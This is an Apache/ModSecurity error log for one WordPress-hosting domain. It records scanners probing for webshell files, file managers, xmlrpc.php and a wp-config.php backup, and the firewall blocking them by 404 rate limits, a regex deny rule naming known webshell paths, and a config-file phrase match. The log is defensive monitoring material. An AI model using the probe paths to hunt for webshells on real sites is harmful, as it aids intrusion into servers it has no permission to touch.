[Sun Apr 19 22:50:48.669252 2026] [:error] [pid 47773:tid 47828] [client 20.203.188.128:37042] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeTryOiBHdnCJDuPq9BWxQAAAEw"]
[Sun Apr 19 22:50:49.750634 2026] [:error] [pid 15760:tid 15773] [client 20.203.188.128:38959] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeTryfSdD_XHQMJ_IStfmwAAAcU"]
[Sun Apr 19 22:50:50.790688 2026] [:error] [pid 15764:tid 15831] [client 20.203.188.128:37051] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeTrymLL_sqdSHoVp-Q6XwAAAkU"]
[Sun Apr 19 22:50:50.822880 2026] [:error] [pid 47772:tid 47803] [client 146.70.194.222:47086] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aeTryoc0L16cb4smAz_aWwAAAA4"]
[Sun Apr 19 22:50:51.742885 2026] [:error] [pid 15760:tid 15790] [client 20.203.188.128:4576] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeTry_SdD_XHQMJ_IStf7QAAAdY"]
[Sun Apr 19 22:50:52.906642 2026] [:error] [pid 47773:tid 47818] [client 20.203.188.128:26451] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeTrzOiBHdnCJDuPq9BW7AAAAEI"]
[Sun Apr 19 22:50:53.816654 2026] [:error] [pid 15763:tid 15805] [client 20.203.188.128:42834] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeTrzbMXv1Y1THOoxaATRQAAAgk"]
[Sun Apr 19 22:50:54.997111 2026] [:error] [pid 15764:tid 15831] [client 20.203.188.128:40202] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeTrzmLL_sqdSHoVp-Q6hwAAAkU"]
[Sun Apr 19 22:50:56.232685 2026] [:error] [pid 47886:tid 47894] [client 20.203.188.128:38969] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeTr0ESe8yiyuPrD7yOFiQAAAMY"]
[Sun Apr 19 22:50:57.425007 2026] [:error] [pid 15763:tid 15805] [client 20.203.188.128:26483] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeTr0bMXv1Y1THOoxaATVwAAAgk"]
[Sun Apr 19 22:50:58.667189 2026] [:error] [pid 47772:tid 47802] [client 20.203.188.128:38971] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeTr0oc0L16cb4smAz_aZAAAAA0"]
[Sun Apr 19 22:50:59.830930 2026] [:error] [pid 15764:tid 15826] [client 20.203.188.128:38974] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeTr02LL_sqdSHoVp-Q6jgAAAkA"]
[Sun Apr 19 22:51:00.726058 2026] [:error] [pid 47772:tid 47791] [client 20.203.188.128:27303] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeTr1Ic0L16cb4smAz_aawAAAAI"]
[Sun Apr 19 22:51:01.410093 2026] [:error] [pid 15765:tid 15871] [client 20.203.188.128:32156] File does not exist: /usr/local/apache/htdocs/suspended-page/yw5bi63u.php
[Sun Apr 19 22:51:01.684729 2026] [:error] [pid 15765:tid 15852] [client 20.203.188.128:32156] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Sun Apr 19 22:51:02.104180 2026] [:error] [pid 15765:tid 15866] [client 20.203.188.128:32156] File does not exist: /usr/local/apache/htdocs/suspended-page/ws57.php
[Sun Apr 19 22:51:02.343617 2026] [:error] [pid 15765:tid 15857] [client 20.203.188.128:32156] File does not exist: /usr/local/apache/htdocs/suspended-page/8573.php
[Sun Apr 19 22:51:02.583843 2026] [:error] [pid 15765:tid 15874] [client 20.203.188.128:32156] File does not exist: /usr/local/apache/htdocs/suspended-page/ws66.php
[Sun Apr 19 22:51:02.823675 2026] [:error] [pid 15765:tid 15853] [client 20.203.188.128:32156] File does not exist: /usr/local/apache/htdocs/suspended-page/66.php
[Sun Apr 19 22:51:03.065756 2026] [:error] [pid 15765:tid 15868] [client 20.203.188.128:32156] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-p2r3q9c8k4.php
[Sun Apr 19 22:51:03.306524 2026] [:error] [pid 15765:tid 15855] [client 20.203.188.128:32156] File does not exist: /usr/local/apache/htdocs/suspended-page/ws88.php
[Sun Apr 19 22:51:03.548496 2026] [:error] [pid 15765:tid 15860] [client 20.203.188.128:32156] File does not exist: /usr/local/apache/htdocs/suspended-page/mode.php
[Sun Apr 19 22:51:03.789185 2026] [:error] [pid 15765:tid 15859] [client 20.203.188.128:32156] File does not exist: /usr/local/apache/htdocs/suspended-page/set.php
[Sun Apr 19 22:51:04.029032 2026] [:error] [pid 15765:tid 15867] [client 20.203.188.128:32156] File does not exist: /usr/local/apache/htdocs/suspended-page/hroxw.php
[Sun Apr 19 22:51:04.267752 2026] [:error] [pid 15765:tid 15877] [client 20.203.188.128:32156] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ok.php"] [unique_id "aeTr2PRqinw-W5EwQ74IbQAAApg"]
[Sun Apr 19 22:51:05.246813 2026] [:error] [pid 47773:tid 47837] [client 20.203.188.128:40216] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ok.php"] [unique_id "aeTr2eiBHdnCJDuPq9BW9AAAAFU"]
[Sun Apr 19 22:51:06.157602 2026] [:error] [pid 15760:tid 15780] [client 20.203.188.128:38957] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ok.php"] [unique_id "aeTr2vSdD_XHQMJ_IStgCQAAAcw"]
[Sun Apr 19 22:51:07.217170 2026] [:error] [pid 47772:tid 47809] [client 20.203.188.128:32183] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ok.php"] [unique_id "aeTr24c0L16cb4smAz_afAAAABQ"]
[Sun Apr 19 22:51:08.433750 2026] [:error] [pid 15760:tid 15788] [client 20.203.188.128:26453] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoo.php"] [unique_id "aeTr3PSdD_XHQMJ_IStgDgAAAdQ"]
[Sun Apr 19 22:51:09.652722 2026] [:error] [pid 47886:tid 47891] [client 20.203.188.128:24958] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoo.php"] [unique_id "aeTr3USe8yiyuPrD7yOFnQAAAMM"]
[Sun Apr 19 22:51:11.093452 2026] [:error] [pid 47775:tid 47852] [client 20.203.188.128:38939] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoo.php"] [unique_id "aeTr37mztjlk9tsmoewnqQAAAIk"]
[Sun Apr 19 22:51:11.756046 2026] [:error] [pid 15765:tid 15870] [client 20.203.188.128:24469] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoo.php"] [unique_id "aeTr3_Rqinw-W5EwQ74IcgAAApE"]
[Sun Apr 19 22:51:12.678995 2026] [:error] [pid 15763:tid 15808] [client 20.203.188.128:37002] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aeTr4LMXv1Y1THOoxaATgwAAAgw"]
[Sun Apr 19 22:51:13.896402 2026] [:error] [pid 47773:tid 47830] [client 20.203.188.128:32177] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aeTr4eiBHdnCJDuPq9BXAQAAAE4"]
[Sun Apr 19 22:51:14.624859 2026] [:error] [pid 47772:tid 47802] [client 20.203.188.128:4759] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aeTr4oc0L16cb4smAz_ajgAAAA0"]
[Sun Apr 19 22:51:15.720711 2026] [:error] [pid 47772:tid 47798] [client 20.203.188.128:32134] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aeTr44c0L16cb4smAz_alQAAAAk"]
[Sun Apr 19 22:51:17.192376 2026] [:error] [pid 47775:tid 47843] [client 20.203.188.128:24482] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeTr5bmztjlk9tsmoewnsAAAAIA"]
[Sun Apr 19 22:51:18.559746 2026] [:error] [pid 47773:tid 47837] [client 20.203.188.128:37012] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeTr5uiBHdnCJDuPq9BXDwAAAFU"]
[Sun Apr 19 22:51:19.767103 2026] [:error] [pid 15763:tid 15806] [client 20.203.188.128:40244] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeTr57MXv1Y1THOoxaATpAAAAgo"]
[Sun Apr 19 22:51:20.965484 2026] [:error] [pid 15763:tid 15798] [client 20.203.188.128:32448] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeTr6LMXv1Y1THOoxaATrwAAAgI"]
[Sun Apr 19 22:51:22.561434 2026] [:error] [pid 47775:tid 47845] [client 20.203.188.128:32505] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeTr6rmztjlk9tsmoewnvQAAAII"]
[Sun Apr 19 22:51:23.716615 2026] [:error] [pid 15764:tid 15828] [client 20.203.188.128:27295] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeTr62LL_sqdSHoVp-Q6tgAAAkI"]
[Sun Apr 19 22:51:25.414304 2026] [:error] [pid 15693:tid 15696] [client 20.203.188.128:24461] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeTr7cNMD-ccazQlTslkIwAAAUA"]
[Sun Apr 19 22:51:26.345868 2026] [:error] [pid 15693:tid 15699] [client 20.203.188.128:4775] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeTr7sNMD-ccazQlTslkKQAAAUM"]
[Sun Apr 19 22:51:27.436939 2026] [:error] [pid 15760:tid 15791] [client 20.203.188.128:24453] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeTr7_SdD_XHQMJ_IStgXQAAAdc"]
[Sun Apr 19 22:51:28.102916 2026] [:error] [pid 15763:tid 15815] [client 20.203.188.128:24917] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeTr8LMXv1Y1THOoxaAT4AAAAhM"]
[Sun Apr 19 22:51:29.208463 2026] [:error] [pid 15764:tid 15838] [client 20.203.188.128:27317] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeTr8WLL_sqdSHoVp-Q6vwAAAkw"]
[Sun Apr 19 22:51:30.034521 2026] [:error] [pid 47886:tid 47902] [client 20.203.188.128:4792] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeTr8kSe8yiyuPrD7yOFuAAAAM4"]
[Sun Apr 19 22:51:30.871464 2026] [:error] [pid 47886:tid 47906] [client 20.203.188.128:40206] [client 20.203.188.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aeTr8kSe8yiyuPrD7yOFuQAAANI"]
[Sun Apr 19 23:54:46.235660 2026] [:error] [pid 47772:tid 47800] [client 136.116.128.106:58858] [client 136.116.128.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.116.128.106, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeT6xoc0L16cb4smAz_sDQAAAAs"]
[Sun Apr 19 23:54:46.238574 2026] [:error] [pid 47772:tid 47800] [client 136.116.128.106:58858] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun Apr 19 23:54:46.438145 2026] [:error] [pid 47772:tid 47804] [client 136.116.128.106:58858] [client 136.116.128.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aeT6xoc0L16cb4smAz_sDwAAAA8"]
[Sun Apr 19 23:54:46.851078 2026] [:error] [pid 15764:tid 15832] [client 136.116.128.106:52658] [client 136.116.128.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aeT6xmLL_sqdSHoVp-RRhgAAAkY"]
[Sun Apr 19 23:54:47.284182 2026] [:error] [pid 15763:tid 15804] [client 136.116.128.106:55544] [client 136.116.128.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aeT6x7MXv1Y1THOoxaAh7QAAAgg"]
[Sun Apr 19 23:54:47.714350 2026] [:error] [pid 15764:tid 15846] [client 136.116.128.106:49618] [client 136.116.128.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aeT6x2LL_sqdSHoVp-RRjQAAAlQ"]
[Sun Apr 19 23:54:48.250121 2026] [:error] [pid 15764:tid 15838] [client 136.116.128.106:49866] [client 136.116.128.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aeT6yGLL_sqdSHoVp-RRkQAAAkw"]
[Mon Apr 20 02:50:35.081671 2026] [:error] [pid 15764:tid 15827] [client 20.203.252.230:33586] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Mon Apr 20 02:50:35.380790 2026] [:error] [pid 15764:tid 15843] [client 20.203.252.230:33586] File does not exist: /usr/local/apache/htdocs/suspended-page/kcs.php
[Mon Apr 20 02:50:35.668933 2026] [:error] [pid 15764:tid 15835] [client 20.203.252.230:33586] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-post-data.php
[Mon Apr 20 02:50:36.133709 2026] [:error] [pid 15764:tid 15846] [client 20.203.252.230:33586] File does not exist: /usr/local/apache/htdocs/suspended-page/shell20211022.php
[Mon Apr 20 02:50:36.434148 2026] [:error] [pid 15764:tid 15841] [client 20.203.252.230:33586] File does not exist: /usr/local/apache/htdocs/suspended-page/shell20211028.php
[Mon Apr 20 02:50:36.713874 2026] [:error] [pid 15764:tid 15845] [client 20.203.252.230:33586] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Mon Apr 20 02:50:36.997813 2026] [:error] [pid 15764:tid 15834] [client 20.203.252.230:33586] File does not exist: /usr/local/apache/htdocs/suspended-page/cs.php
[Mon Apr 20 02:50:37.281908 2026] [:error] [pid 15764:tid 15826] [client 20.203.252.230:33586] File does not exist: /usr/local/apache/htdocs/suspended-page/1index.php
[Mon Apr 20 05:40:00.332973 2026] [:error] [pid 47731:tid 47738] [client 107.189.18.50:52774] [client 107.189.18.50] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-config.php~"] [unique_id "aeVLsFOwpc-h7Nzn-iOXBgAAAQU"]
[Mon Apr 20 07:23:11.851359 2026] [:error] [pid 64333:tid 64377] [client 130.131.243.198:11186] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Mon Apr 20 07:23:12.041168 2026] [:error] [pid 64333:tid 64390] [client 130.131.243.198:11186] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Mon Apr 20 07:23:12.429038 2026] [:error] [pid 64333:tid 64383] [client 130.131.243.198:11186] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Mon Apr 20 07:23:12.692454 2026] [:error] [pid 64333:tid 64385] [client 130.131.243.198:11186] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Mon Apr 20 07:23:13.176135 2026] [:error] [pid 64333:tid 64376] [client 130.131.243.198:11186] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Mon Apr 20 07:23:13.374477 2026] [:error] [pid 64333:tid 64392] [client 130.131.243.198:11186] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Mon Apr 20 07:23:13.689147 2026] [:error] [pid 64333:tid 64388] [client 130.131.243.198:11186] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Mon Apr 20 07:23:14.067609 2026] [:error] [pid 64333:tid 64381] [client 130.131.243.198:11186] [client 130.131.243.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aeVj4nZav9wH8wxMd_tu1gAAAEU"]
